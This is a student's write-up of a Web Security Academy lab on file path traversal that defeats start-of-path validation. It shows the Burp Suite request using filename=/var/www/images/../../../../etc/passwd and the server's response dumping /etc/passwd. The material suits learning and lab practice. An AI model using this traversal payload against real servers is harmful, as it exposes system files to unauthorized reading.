

# File Path Traversal Lab – 05

## Validation Of Start Of Path

M.Gobi Shankar

CB.SC.P2CYS23019

Use Burp Suite to intercept and modify a request that fetches a product image.



File path traversal, validation of start of path

[Back to lab description >](#)

LAB Not solved

[Home](#)

WE LIKE TO  
**SHOP** 



Cheshire Cat Grin  
★★★★☆ \$1.05

[View details](#)



AbZorba Ball  
★★★★☆ \$25.42

[View details](#)



Baby Minding Shoes  
★★★★☆ \$0.12

[View details](#)



The Giant Enter Key  
★★★★☆ \$74.75

[View details](#)

Modify the filename parameter, giving it the value:

`/var/www/images/../../../../etc/passwd`

Pretty Raw Hex

```
1 GET /image?filename=/var/www/images/../../../../etc/passwd HTTP/2
2 Host: 0a6500f90466fbc6804058ef00be00ec.web-security-academy.net
3 Cookie: session=YXtCG46DtMb90YpYDK736HwuDt0iScbz
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
5 Accept: image/avif,image/webp,*/*
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Referer: https://0a6500f90466fbc6804058ef00be00ec.web-security-academy.net/product?productId=1
9 Sec-Fetch-Dest: image
10 Sec-Fetch-Mode: no-cors
11 Sec-Fetch-Site: same-origin
12 Te: trailers
13
14
```

Observe that the response contains the contents of the /etc/passwd file.

SendCancel<>

Target: https://0a6500f90466fbc6804058ef00be

Request

1 GET /image?filename=/var/www/images/../../../../etc/passwd HTTP/2  
2 Host: 0a6500f90466fbc6804058ef00be00ec.web-security-academy.net  
3 Cookie: session=YxtCG46DtMb90YpYDK736HwDt01Scbz  
4 User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:102.0) Gecko/20100101 Firefox/102.0  
5 Accept: image/avif,image/webp,\*/\*  
6 Accept-Language: en-US,en;q=0.5  
7 Accept-Encoding: gzip, deflate  
8 Referer: https://0a6500f90466fbc6804058ef00be00ec.web-security-academy.net/product?productId=1  
9 Sec-Fetch-Dest: image  
10 Sec-Fetch-Mode: no-cors  
11 Sec-Fetch-Site: same-origin  
12 Te: trailers  
13  
14

Response

1 HTTP/2 200 OK  
2 Content-Type: image/jpeg  
3 X-Frame-Options: SAMEORIGIN  
4 Content-Length: 2316  
5  
6 root:x:0:0:root:/root:/bin/bash  
7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
8 bin:x:2:2:bin:/bin:/usr/sbin/nologin  
9 sys:x:3:3:sys:/dev:/usr/sbin/nologin  
10 sync:x:4:65534:sync:/bin:/bin/sync  
11 games:x:5:60:games:/usr/games:/usr/sbin/nologin  
12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
20 list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin  
21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
22 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
24 \_apt:x:100:65534::/nonexistent:/usr/sbin/nologin  
25 peter:x:12001:12001:/home/peter:/bin/bash  
26 carlos:x:12002:12002:/home/carlos:/bin/bash  
27 user:x:12009:12009:/home/user:/bin/bash  
28 elmer:x:12099:12099:/home/elmer:/bin/bash  
29 academy:x:10000:10000:/academy:/bin/bash  
30 messagebus:x:101:101::/nonexistent:/usr/sbin/nologin  
31 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin  
32 systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin  
33 systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin  
34 systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin  
35 mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false  
36 postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash  
37 usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin  
38 rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin  
39 mongodb:x:110:117:/var/lib/mongodb:/usr/sbin/nologin  
40 avahi:x:111:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin  
41 cups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin  
42 geoclue:x:113:120:/var/lib/geoclue:/usr/sbin/nologin  
43 saned:x:114:122:/var/lib/saned:/usr/sbin/nologin  
44 colord:x:115:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin

Lab Completed Successfully.

Web Security Academy

File path traversal, validation of start of path  
Back to lab description >>

LAB Solved

Congratulations, you solved the lab!

Share your skills! Continue learning >>

Cheshire Cat Grin

★★★★☆  
\$1.05

Home